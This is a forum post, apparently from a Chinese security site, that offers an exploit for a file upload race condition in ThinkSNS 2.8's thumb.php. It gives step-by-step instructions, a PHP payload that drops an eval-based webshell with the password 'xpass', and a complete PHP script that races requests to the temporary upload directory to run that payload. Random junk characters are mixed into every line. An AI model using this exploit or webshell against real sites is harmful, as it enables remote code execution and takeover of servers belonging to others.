找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1985|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
9 L; J# {- d8 p7 S存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)' m% T! R: n4 C4 F) ^5 l! j! c
漏洞文件& q# a" ?( B$ c0 Z% L
存在漏洞的文件为:thumb.php
- y0 I0 ^  h4 [1 z/ d作者:韦鲲鹏
9 k+ ~0 L5 A% I, p1、        准备如下PHP文件并上传到服务器(自己的)。' B! w" g- H8 k& b7 d
文件内容如下:
) m' P+ y$ O- R<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>1 I" S" j+ o* `: `  U
2、        计算出临时的文件名:7 d& x( l/ ^4 G: s$ k# g
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
$ m9 |  e8 x8 q1 {+ s# [3 ]
8 e: _# b" F9 m/ F3、        上传临时文件。6 B9 ^" |; x2 N# n; d' _8 Z; M
4、        访问临时文件。! Z6 u& E' U# j, L! ?: s4 C
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
. A% Y0 X/ U7 q" w+ j9 cExploit文件内容如下:(这个我就不详细解释了)  p6 h& s7 r- ^  e( v/ ~
<?php
# T3 H4 D8 ^' w- C4 n! p$ l% _1 M: uerror_reporting(0);
. u: g1 O" A* I) \* Jset_time_limit(0);! j' B% R' n  x* X
ini_set(“default_socket_timeout”, 5);
: G1 q+ |' N% h: I, V' m: M# ]function http_send($host, $port, $headers) {
- g% v( h9 |: D$fp = fsockopen($host, $port);
1 N' P$ F8 ]7 sif (!$fp) die(‘Connection -> fail’);
0 e# E- D; V5 k" ]. Cfputs($fp, $headers);
* f. b4 h( A* \0 mreturn $fp;
) \. }% m! _# a0 D, w}( q) G5 b. D& s  ^: h9 A- R& k
function http_recv($fp) {
) c7 H  @/ m. K% \2 @$ {$ret=”";3 u, x- x: t; c/ }. [
while (!feof($fp))
  h& Y, C) [* i1 ~* ?$ret.= fgets($fp, 1024);) D& O% F$ G$ s9 h4 r$ _; F. f* ^
fclose($fp);
0 Q4 ?+ s7 Q3 H2 K' D+ a: Z3 g# ~, ^return $ret;
- v- `4 h( p! `" n}+ F/ F8 |6 X( ]1 z. r" O
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
3 U) h1 L. o0 j+ a' v( Y2 P: lprint “# Discovered by 韦鲲鹏 #\n\n”;$ P! L0 A8 _! e: R
if ($argc < 4) {9 U  d* W9 i5 Y" _+ h
print “Usage:   php <host> <path> <romote_url>\n”;
7 m- M9 M! Y- Y  c& jprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
: D" Z. r6 e, w! L+ T7 Z7 Fdie();6 \  n2 m& [3 T. E- i
}
) c5 Z8 ~$ k1 P& x& I; w$host = $argv[1];
; l0 F3 x: M) k' W* S3 T; W$path = $argv[2];
. S8 F7 u5 }& ?9 A1 ^( j$ m$url = $argv[3];
% F/ D1 W: W5 F- @/ k. ?$i=0;
: [1 b# k) `/ H5 z- S% E2 j9 C/ y; v//上传数据包8 `0 r. i7 g  i- V) Y: K
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;* h& Q; Y: z1 [& v
$headers_up .= “Host: “.$host.”\r\n”;
" v6 k# Z7 i9 c% {, o" W$headers_up .= “Connection: close\r\n\r\n”;& J/ v! J$ ]7 j
echo $headers_up;( r5 J1 r- Z& z1 W- P# i
//临时文件访问数据包( M* Y, g5 L  S% U( a5 Y
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;, d9 I' V) h) @( c6 I8 X$ G
$headers .= “Host: “.$host.”\r\n”;1 x) I. G0 G, @
$headers .= “Connection: close\r\n\r\n”;, U+ l/ n# w6 z  q( M& g( x
echo $headers;
6 k8 B7 }& V3 u# wwhile(++$i<10) {1 A; D& F" P' W4 K) Q4 U
fclose(http_send($host, 80, $headers));
; B% K  v" G  ^# ]7 X}( i+ W6 I* P% x# q+ {/ X. e
fclose(http_send($host, 80, $headers_up));
$ H9 p& k- c/ H& J& iwhile(++$i<50) {
' o( a$ Z' p5 o& S: Q+ ?$ |fclose(http_send($host, 80, $headers));  D# w% h5 L# B% J# _0 D
}
7 L- V, j, n, M/ S2 g5 R' m$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
8 _9 ^4 K$ P* B$headers .= “Host: “.$host.”\r\n”;
' ]% G5 D7 p( B. l. B7 w% `$headers .= “Connection: close\r\n\r\n”;
6 ?  p# ?7 ]$ M; l+ P4 c' v) E$res=http_recv(http_send($host, 80, $headers));
7 Z" F$ ^  e, Vif(preg_match(‘/200 OK/’,$res)) {$ j7 a1 X# ~$ D" t0 V4 w
print “Success!\n\n”;
0 e$ I6 D- l: _} else {) |, a9 t) X5 c' a7 T7 h
print “Fail!\n\n”;. O: G3 d  j  V: C
}
; F9 A. J5 l: u% R' X?>) ?5 e, J" u2 O) n5 u5 U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表